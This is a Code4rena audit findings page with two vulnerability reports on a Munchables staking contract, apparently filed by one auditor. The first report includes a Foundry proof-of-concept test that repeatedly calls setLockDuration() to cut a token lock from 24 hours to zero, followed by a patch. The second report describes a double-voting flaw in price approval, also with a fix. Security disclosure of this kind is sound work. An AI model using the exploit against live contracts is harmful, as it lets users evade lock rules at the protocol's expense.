Platform: Code4rena
Start Date: 22/05/2024
Pot Size: $20,000 USDC
Total HM: 6
Participants: 126
Period: 5 days
Judge: 0xsomeone
Total Solo HM: 1
Id: 379
League: ETH
Rank: 42/126
Findings: 2
Award: $0.02
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: SpicyMeatball
Also found by: 0rpse, 0xMosh, 0xblack_bird, 0xdice91, 0xhacksmithh, 0xleadwizard, 0xmystery, Audinarey, AvantGard, Bigsam, Dots, EPSec, Eeyore, Janio, Limbooo, LinKenji, Mahmud, MrPotatoMagic, Myd, Oxsadeeq, Sabit, SovaSlava, Stefanov, Tychai0s, Utsav, Varun_05, Walter, adam-idarrha, ahmedaghadi, araj, aslanbek, ayden, bigtone, c0pp3rscr3w3r, carrotsmuggler, crypticdefense, dhank, fyamf, gajiknownnothing, gavfu, itsabinashb, jasonxiale, joaovwfreire, ke1caM, leegh, merlinboii, mitko1111, n4nika, pfapostol, prapandey031, rouhsamad, sandy, snakeeaterr, stakog, steadyman, swizz, tedox, th3l1ghtd3m0n, trachev, turvy_fuzz, xyz, yashgoel72, zhaojohnson
0.014 USDC - $0.01
Locking USDB or WETH tokens in the LockManager has two main incentives: to farm Munch Points or to mint new unopened Munchables during the Lockdrop period.
Before locking, a player can determine the lockDuration
which must be greater than or equal to Lockdrop.minLockDuration
if the Lockdrop is active.
This mechanism is necessary to prevent infinite Munchables minting.
Additionally, a longer lockDuration
provides the benefit of bonus Munch Points farming.
However, there is an invalid check inside the setLockDuration()
function:
// check they are not setting lock time before current unlock time if ( uint32(block.timestamp) + uint32(_duration) < lockedTokens[msg.sender][tokenContract].unlockTime ) { revert LockDurationReducedError(); }
This allows the player to set the unlock time before the current unlock time.
To exploit this, some time needs to pass (e.g., 1 hour) before calling the setLockDuration()
function. The elapsed time between lastLockTime
and block.timestamp
can then be used for the reduction.
The player can manipulate and reduce the lockedTokens.unlockTime
to zero.
Lockdrop.minLockDuration
(e.g., 30 days) and mint Munchables.setLockDuration()
multiple times, reducing the duration by 1 day each time, starting from 29 days.setLockDuration()
calls, the lock duration is reduced to 0.This test demonstrates how to use setLockDuration()
to manipulate lockDuration
data.
Create ./src/test/LockManager.t.sol
and run forge test --match-test test_PoC
.
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.25; import {Test} from "forge-std/Test.sol"; import {console} from "forge-std/console.sol"; import "./MunchablesTest.sol"; contract LockManagerTest is MunchablesTest { function test_PoC() public { uint256 lockAmount = 100e18; deployContracts(); amp.register(MunchablesCommonLib.Realm(3), address(0)); // lock tokens lm.lock{value: lockAmount}(address(0), lockAmount); logPlayer("Player after lock"); logLockedTokens("After First Lock"); // we need some time to pass that will be used to unlock tokens vm.warp(block.timestamp + 1 hours); // iterate setLockDuration (lockTime / passTime) times for (uint256 i = 23; i >= 0; --i) { lm.setLockDuration(i * 1 hours); if (i == 0) { break; } } // player can unlock within 1 hour instead of 24 hours lm.unlock(address(0), lockAmount); logPlayer("Player after unlock"); logLockedTokens("After Unlock"); } }
Update the setLockDuration()
function.
if (lockedTokens[msg.sender][tokenContract].quantity > 0) { + uint32 lastLockTime = lockedTokens[msg.sender][tokenContract] + .lastLockTime; // check they are not setting lock time before current unlock time if ( - uint32(block.timestamp) + uint32(_duration) < - lockedTokens[msg.sender][tokenContract].unlockTime + lastLockTime + uint32(_duration) < + lockedTokens[msg.sender][tokenContract].unlockTime ) { revert LockDurationReducedError(); } - uint32 lastLockTime = lockedTokens[msg.sender][tokenContract] - .lastLockTime; lockedTokens[msg.sender][tokenContract].unlockTime = lastLockTime + uint32(_duration); }
Invalid Validation
#0 - c4-judge
2024-06-04T12:40:50Z
alex-ppg marked the issue as duplicate of #89
#1 - c4-judge
2024-06-05T12:53:54Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: robertodf99
Also found by: 0xAadi, 0xAkira, 0xdice91, 0xhacksmithh, 0xleadwizard, AgileJune, Bauchibred, Bbash, Beosin, Bigsam, Dots, EPSec, EaglesSecurity, Eeyore, Evo, John_Femi, Mahmud, MrPotatoMagic, RotiTelur, Rushkov_Boyan, Sabit, Sentryx, Stormreckson, Topmark, Tychai0s, Utsav, Walter, ZanyBonzy, ZdravkoHr, adam-idarrha, araj, aslanbek, avoloder, bigtone, brevis, brgltd, carrotsmuggler, crypticdefense, dd0x7e8, dhank, djanerch, falconhoof, iamandreiski, joaovwfreire, leegh, merlinboii, mitko1111, pamprikrumplikas, pfapostol, prapandey031, swizz, trachev, twcctop, typicalHuman, unique, xyz
0.0148 USDC - $0.01
In the approveUSDPrice()
function, there is no check to prevent the PriceFeed role from double voting, first disapproving and later approving the new price for the token.
A similar check is present in the disapproveUSDPrice()
function to prevent double voting by the same actor.
The PriceFeed role can disapprove a new price update proposal and later approve it, resulting in double event emission that can corrupt off-chain data.
Update the approveUSDPrice()
function to include a check that ensures a proposal that has been disapproved by a voter cannot be approved by the same voter.
function approveUSDPrice( uint256 _price ) external onlyOneOfRoles( [ Role.PriceFeed_1, Role.PriceFeed_2, Role.PriceFeed_3, Role.PriceFeed_4, Role.PriceFeed_5 ] ) { if (usdUpdateProposal.proposer == address(0)) revert NoProposalError(); if (usdUpdateProposal.proposer == msg.sender) revert ProposerCannotApproveError(); if (usdUpdateProposal.approvals[msg.sender] == _usdProposalId) revert ProposalAlreadyApprovedError(); + if (usdUpdateProposal.disapprovals[msg.sender] == _usdProposalId) + revert ProposalAlreadyDisapprovedError(); ... }
Invalid Validation
#0 - c4-judge
2024-06-05T12:42:37Z
alex-ppg marked the issue as satisfactory